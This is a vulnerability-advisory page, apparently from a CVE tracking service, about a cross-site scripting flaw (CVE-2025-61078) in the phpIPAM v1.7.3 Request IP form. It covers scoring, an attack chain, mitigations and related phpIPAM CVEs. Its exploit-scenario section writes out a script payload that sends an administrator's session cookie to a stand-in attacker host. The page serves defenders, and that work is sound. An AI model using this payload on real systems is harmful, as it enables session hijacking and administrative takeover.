Skip to main content

phpIPAM CVE-2025-61078

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2025-12-09 cve@mitre.org
6.1
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit crafted IP request with XSS payload
  2. Delivery
    Payload stored in phpIPAM instructions field
  3. Exploit
    Admin reviews pending IP requests
  4. Execution
    XSS fires in admin browser context
  5. Persist
    Exfiltrate admin session cookie
  6. Impact
    Authenticate as administrator

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The instructions parameter of the phpIPAM Request IP form must be accepted without input sanitization for the injection to succeed - this is a default behavior of the affected v1.7.3 codebase. Exploitation requires that the IP request submission form is accessible to the attacker (no authentication required per CVSS PR:N), and that an authenticated administrator subsequently views the submitted request via /app/admin/instructions/edit-result.php (CVSS UI:R). Exploitation is therefore limited by the requirement for administrator interaction - fully automated exploitation without social engineering or waiting for normal admin workflow is not possible. Deployments where the Request IP form is restricted to internal networks significantly reduce exposure. No special server-side configuration is required beyond a default phpIPAM v1.7.3 installation with the IP request feature in use.

Impact

The CVSS base score of 6.1 reflects moderate severity with a network-accessible, low-complexity attack requiring no attacker privileges but needing victim interaction (UI:R), consistent with the attack model where an admin must view the poisoned request. The scope change (S:C) elevates the score beyond a simple reflected XSS. EPSS of 0.22% at the 13th percentile is low, indicating the security community has not observed widespread exploitation attempts. KEV status is not listed, confirming no CISA-confirmed active exploitation. The glitch0ne.com reference constitutes a public technical disclosure which may lower the barrier to exploitation. Real-world risk is moderate-to-high for organizations running phpIPAM: the admin session takeover path gives an attacker a high-value target, and the low complexity and no-privilege-required injection vector make it accessible. The primary limiting factor is the required admin interaction - automated mass exploitation is unlikely. Organizations running phpIPAM in internet-facing deployments with IP request forms open to external users face elevated exposure.

Exploit ScenarioDerived

An unauthenticated external attacker submits a phpIPAM IP address request, injecting a JavaScript payload such as <script>document.location='https://attacker.tld/steal?c='+document.cookie</script> into the instructions field of the Request IP form. When an administrator reviews pending IP requests via the /app/admin/instructions/edit-result.php admin panel, the injected script executes in their browser, exfiltrating the admin's session cookie to the attacker's server. The attacker then replays the stolen session token to gain full administrative access to phpIPAM without further credentials. The technical disclosure post at glitch0ne.com likely contains proof-of-concept payload details.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 05, 2026

Stored or reflected cross-site scripting in phpIPAM v1.7.3 enables remote unauthenticated attackers to inject malicious JavaScript into the Request IP form via the instructions parameter, which is subsequently rendered in the admin-facing /app/admin/instructions/edit-result.php endpoint. When an authenticated administrator views the affected page, the injected script executes in their browser session, potentially enabling session token theft, credential harvesting, or unauthorized administrative actions. No public exploit identified at time of analysis, though a technical disclosure post exists at glitch0ne.com; EPSS of 0.22% at the 13th percentile confirms low opportunistic exploitation pressure.

RemediationAI

No vendor-released patch identified at time of analysis - the only reference is a third-party researcher disclosure with no corresponding official phpIPAM advisory or patched release version. As an immediate compensating control, restrict access to the /app/admin/instructions/edit-result.php endpoint and the IP request submission form to trusted internal networks via web server access controls (e.g., Apache Require ip, nginx allow/deny directives), accepting the trade-off that external IP request submission will be blocked. Additionally, implement a Content Security Policy (CSP) header such as Content-Security-Policy: default-src 'self'; script-src 'self' to limit script execution scope - note this may break legitimate inline scripts. Operators should monitor phpIPAM's GitHub repository (https://github.com/phpipam/phpipam) and official site (https://phpipam.net) for a patched release addressing CVE-2025-61078 and upgrade immediately upon release.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

phpIPAM (cpe:2.3:a:phpipam:phpipam:1.7.3:*:*:*:*:*:*:*) is an open-source PHP-based IP address management application widely deployed by network and IT teams for subnet tracking and IP request workflows. CWE-79 (Improper Neutralization of Input During Web Page Generation) identifies the root cause: user-supplied input from the Request IP form - specifically the instructions parameter - is not properly sanitized or encoded before being reflected or stored and later rendered in the admin result view at /app/admin/instructions/edit-result.php. The CVSS scope-changed flag (S:C) indicates the injected script executes in the browser context of the viewing administrator, crossing the trust boundary between the unauthenticated submission surface and the privileged admin interface. This is a classic CWE-79 pattern in PHP applications that render user-controlled data without htmlspecialchars() or equivalent output encoding.

Know when Phpipam gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Unauthenticated injection via public form (PR:N, AV:N), admin must view result (UI:R), script executes in admin browser crossing trust boundary (S:C); no server availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionNVD

Cross-site scripting (XSS) vulnerability in Request IP form in phpIPAM v1.7.3 allows remote attackers to inject arbitrary web script or HTML via the instructions parameter for the /app/admin/instructions/edit-result.php endpoint.

Threat Intelligence Overview

EPSS Score
0.2%
Top 87% exploitable
Prevalence
Medium
popular open-source IP management tool in IT/network teams
Data Quality
3 sources
Confidence: Low

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)NVD

cpe:2.3:a:phpipam:phpipam:1.7.3:*:*:*:*:*:*:*
CVE-2022-41443 CRITICAL POC
9.8 Oct 03

phpipam v1.5.0 was discovered to contain a header injection vulnerability via the component /admin/subnets/ripe-query.ph

CVE-2019-16696 CRITICAL POC
9.8 Sep 22

phpIPAM 1.4 allows SQL injection via the app/admin/custom-fields/edit.php table parameter when action=add is used. Rated

CVE-2019-16695 CRITICAL POC
9.8 Sep 22

phpIPAM 1.4 allows SQL injection via the app/admin/custom-fields/filter.php table parameter when action=add is used. Rat

CVE-2019-16694 CRITICAL POC
9.8 Sep 22

phpIPAM 1.4 allows SQL injection via the app/admin/custom-fields/edit-result.php table parameter when action=add is used

CVE-2019-16693 CRITICAL POC
9.8 Sep 22

phpIPAM 1.4 allows SQL injection via the app/admin/custom-fields/order.php table parameter when action=add is used. Rate

CVE-2019-16692 CRITICAL POC
9.8 Sep 22

phpIPAM 1.4 allows SQL injection via the app/admin/custom-fields/filter-result.php table parameter when action=add is us

CVE-2018-1000869 CRITICAL POC
9.8 Dec 20

phpIPAM version 1.3.2 contains a CWE-89 vulnerability in /app/admin/nat/item-add-submit.php that can result in SQL Injec

CVE-2020-7988 HIGH POC
8.8 Mar 04

An issue was discovered in tools/pass-change/result.php in phpIPAM 1.4. Rated high severity (CVSS 8.8), this vulnerabili

CVE-2026-97818 HIGH POC
8.6 Sep 25

Incorrect authorization in phpIPAM's REST API (api/controllers/User.php) allows an attacker with API access to retrieve

CVE-2024-10718 HIGH POC
7.5 Mar 20

In phpipam/phpipam version 1.5.1, the Secure attribute for sensitive cookies in HTTPS sessions is not set. Rated high se

CVE-2023-41580 HIGH POC
7.5 Oct 02

Phpipam before v1.5.2 was discovered to contain a LDAP injection vulnerability via the dname parameter at /users/ad-sear

CVE-2023-1211 HIGH POC
7.2 Mar 07

SQL Injection in GitHub repository phpipam/phpipam prior to v1.5.2. Rated high severity (CVSS 7.2), this vulnerability i

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy